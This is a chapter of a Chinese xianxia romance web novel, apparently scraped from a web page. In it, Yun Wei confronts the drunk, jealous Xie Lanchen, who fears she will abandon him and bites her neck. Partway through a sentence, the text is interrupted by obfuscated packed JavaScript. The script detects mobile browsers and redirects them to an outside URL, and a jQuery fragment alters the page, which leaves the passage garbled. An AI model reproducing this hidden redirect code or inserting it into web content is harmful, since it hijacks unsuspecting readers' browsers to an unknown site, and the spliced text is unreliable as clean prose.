云微面色一怔。 她垂下眼,脑海中浮现少年那双钴蓝色的眼眸,想起他一次次的相护。 过往只以为是同生契牵连或少年执念,从未深究“情”字。 此刻被宁兮河点破,再细思量,竟觉许多模糊处豁然清晰。 她不禁自问:谢澜忱……竟真存了此心?可自己昔日待他疏离,甚至间接令他受苦,他怎会…… “等等……”云微唤住即将离去的身影,“在你眼中,谢澜忱是个怎样的人?” 她忽然想了解,在旁人看来,那少年究竟是何种模样。 从前她目光只在前路与剑道,何曾留意过身后的少年。 宁兮河摇了摇头:“我此前多在静峰休养,与他交集有限。”她指向殿内弟子,“师姐不妨问问他们,或知更多。” 亥时三刻,云微旧居。 谢澜忱背靠墙壁,直接坐在积尘的地上,一条长腿曲起,手臂搭于膝上,另一条腿随意伸直。 他身边歪倒着几个青玉酒瓶,瓶身细长,釉色清透,此刻却皆已空空如也。 少年低着头,玄色衣袍衬得他面色愈发苍白,一只手垂落地面,修长手指无意识蜷缩,周身笼着生人勿近的冰冷气息,半眯的眸中醉意氤氲,郁结难解。 “嘎吱——” 听到推门声,他反应极快,垂落的手猛握孤鸿剑柄,毫不犹豫地将剑朝着门口方向掷了出去。 剑身化作一道流光,带着凌厉的杀气破空而去,却又硬生生凝滞空中,发出细微的嗡鸣。 云微立于门口,神色平静地看着眼前震颤不休的孤鸿剑。 此剑与她心神相连,自然不会伤她。 晚风穿堂而过,拂起她几缕墨发,她却浑不在意,一双明澈眼眸扫过屋内狼藉:滚落的空酒坛,以及那蜷缩在阴影里的少年。 前日他被赵常胜所伤,虽用了上好的金疮药,也需好生将养,怎会如此酗酒,当真不顾性命了么? “你来做什么?”谢澜忱率先开口,声音因醉酒而有些低哑,他抬手,指尖微动,孤鸿剑嗡鸣一声,倒飞回他腰间鞘中。 云微心道,自然是来找你的。 她找了谢澜忱许久,竟没料到他会躲在这旧居。 云微径直走至少年面前,单膝蹲下,与他平视。 她目光先掠过他身旁东倒西歪的空酒瓶,继而定格在他苍白却因醉意染上异常薄红的脸上。 “你有伤在身,不宜饮酒。”她冷声道。 这才过了多久,他就敢如此不顾惜自己的身体,跑到这偏僻旧居喝得烂醉如泥。 谢澜忱闻言,嗤笑一声,别开脸去,避开她质问的目光。 少年长睫低垂,在眼下投下一小片阴影,紧抿的唇线透着一股执拗与倔强。 “我的事,不用你管。”他闷声道,心下却是一阵烦乱,既盼她来,又怕见她这般看似关切实则疏离的模样。 见他又是这般口是心非,云微已是见怪不怪。 她忽然伸手,在少年光洁的额上不轻不重弹了一记,“啪”一声轻响,在寂静中格外清晰。 谢澜忱猝不及防,捂住额头,愣愣看她,醉眼朦胧中满是难以置信:“你……你又弹我?” 他似乎完全没料到她会做出这般近乎亲昵的举动,一时间竟忘了维持那副冰冷疏离的伪装,只愣愣瞧着她。 云微收回手,此举皆因他这般不顾惜身体,实该警醒。 “有弟子说,谢师兄面冷心热。”她淡淡道,“言道从前有弟子被欺凌,份例遭克扣,是你暗中出手教训了那人,又将份例补还。” 谢澜忱面色一怔,许是酒意上头,反应慢了半拍,待听明白她话中之意,耳根竟悄悄漫上红晕。 他指尖无意识蜷缩了一下,避开她的目光,急忙反驳道:“那是因为他们太笨!被人欺到头上了也不敢吭声,我看不过眼罢了……这等闲言碎语,你也信?”他越说声音越低,似觉失态,忙不迭垂下头去。 “是吗?”云微问道,“却不知是谁,平日对旁人冷若冰霜,偏偏对此等‘闲事’如此上心?” 少年不吭声了,碎发遮住他大半张脸,只露出那只红得几乎要滴血的耳尖,默然半晌,才闷闷问道:“你去问他们这些做什么?” “想听。”云微回答得简单直接。 她看着少年低垂的脑袋,心中思绪万千:自从残魂寄于孤鸿,与谢澜忱意念相通,再到后来结下同生契,得以化形,她所见所闻的谢澜忱,多是冷漠、偏执、甚至带着几分阴郁的。 他像一只浑身是刺的困兽,拒绝任何人的靠近,可偶尔流露出的些许不同,又让云微觉得,少年或许并非全然如他表现出来的那般不近人情。 云微想知道,在那层冰冷的外壳之下,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400703|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟是怎样的人? 这无关复仇,亦非利用算计,或许只是源于同生共契之下,一点难以言明的私心探究。 “想听?”谢澜忱低低重复一遍,忽然抬起头,醉意让他的眼神有些迷离,却也流露出底下深藏的情绪,“听这些有何意趣?不过是些无关紧要的琐事。”他扯了扯嘴角,笑意冰凉,“云微,你何必装作关心我的模样?不过是因为同生契,因为需借我之力复仇,不是吗?休要再用这般语气同我说话……我会当真。” 云微静静看他,知他醉后吐露真言,平日压抑的不信与猜忌此刻尽数浮现。 她未立即反驳,只缓声道:“谢澜忱,宁兮河在宴上同我说了些话。”眼下并非纠缠此事之时,需将正事告知。 “谁?”少年眉头紧锁,醉意朦胧间只觉这名字耳熟,一时却难以对号入座,眼神里带着几分真实的迷茫。 云微心下微叹,他这是醉得连人都记不清了吗? 她没有直接重复宁兮河的名字,而是看着少年因为醉酒而有些湿润、显得比平时更添几分脆弱的眼睛,忽然伸出手,抓住了他垂在身侧的那只手腕。 谢澜忱身体一僵,下意识就想挣脱,云微却握得更紧了些。 她低下头,用食指的指尖,在他微凉的手心里,一笔一划地,慢慢地写了一个“宁”字。 少年的醉意仿佛瞬间被驱散了大半。 他怔怔地看着她低垂的发顶,看着她纤长浓密的睫毛在眼下投下的阴影,呼吸都不自觉地屏住了。 云微她……她在写什么?是那个人的名字吗?为何要在他手心写? 当最后一笔落下,谢澜忱终于辨认出那是一个“宁”字。 是了,宁兮河。 他混沌的脑子清晰了些许,但随之而来的是一种更深的烦躁与酸意。 少年抿紧了唇,等着她的下文。 云微松开手,抬头看他,目光沉静:“我如今虽以‘无名’的身份进入归云宗,但并非万无一失。”她顿了顿,“宁兮河言道,仅凭你我二人,恐难应对周全。” 谢澜忱闻言,冷哼一声:“她此言何意?是觉得我护不住你么?” 云微接着道:“她的话并非虚言。前路艰险,危机四伏……” 她话未说完,便猝然对上一双钴蓝色的眼眸。 少年离她很近,她能清晰地看到他眼中氤氲的、尚未散去的水汽。 谢澜忱脸上的醉意褪去大半,取而代之的是一种愤怒与恐慌。 “你又想丢下我?”他一字一顿道。 他低下头,额头几乎抵着她的,钴蓝色的眼眸里翻涌着复杂的情绪,是占有,是恐慌,还有一丝近乎疯狂的执念。 “你总是这般……自说自话!当初燃尽残魂,说得那般决绝,可曾问过我愿不愿?云微,你当我是什么?召之即来挥之即去的物件么?” “是了,在你眼中,我大概始终是那个需要依附于你、受你庇护才能苟活的累赘。所以你一次次自作主张,连生死都可以替我决定,如今又想来安排我的去留?” “谢澜忱,你冷静些。”云微蹙眉。 “冷静?我如何冷静?”少年嗤笑一声,眸中寒意更盛,“你分明就是觉得我无用,又想寻个机会撇开我,是不是?同生契还在,你就想着找别人了?宁兮河?南宫雅?还是徐鄂?他们能比我更有用?还是你觉得,他们比我更听话,更不会碍你的事?” 不是这样的。 “谢澜忱,你清楚同生契意味着什么。”她解释道,语气依旧平稳,“你我性命相连,撇开你于我何益?提及宁兮河,只因她所言确有道理,前路莫测,多一份考量并非坏事。你何必妄自菲薄,又迁怒他人?” “妄自菲薄?呵……”他像是被这句话刺痛,忍不住笑出声来,“我不是妄自菲薄,我是太清楚你的性子。所谓的‘考量’,不过是权衡之下,觉得我并非最优选择罢了。” 不等她回答,少年张口便咬在她颈侧的肌肤上。那力道不算轻,带着几分发泄似的狠劲,却又在即将咬破皮肤时骤然收了些力。 云微身体僵住,一时竟忘了反应。这举动远超她认知,侵略性十足,又诡异亲昵,伴随着他带着酒气的灼热呼吸,一阵阵烫着她的肌肤,激起一阵战栗。 他并非要伤她,而是要通过这种方式留下印记,独属于他的印记。 “你不能再丢下我了,云微。” “同生契绑着你我,你死,我也活不了——你想清楚了。”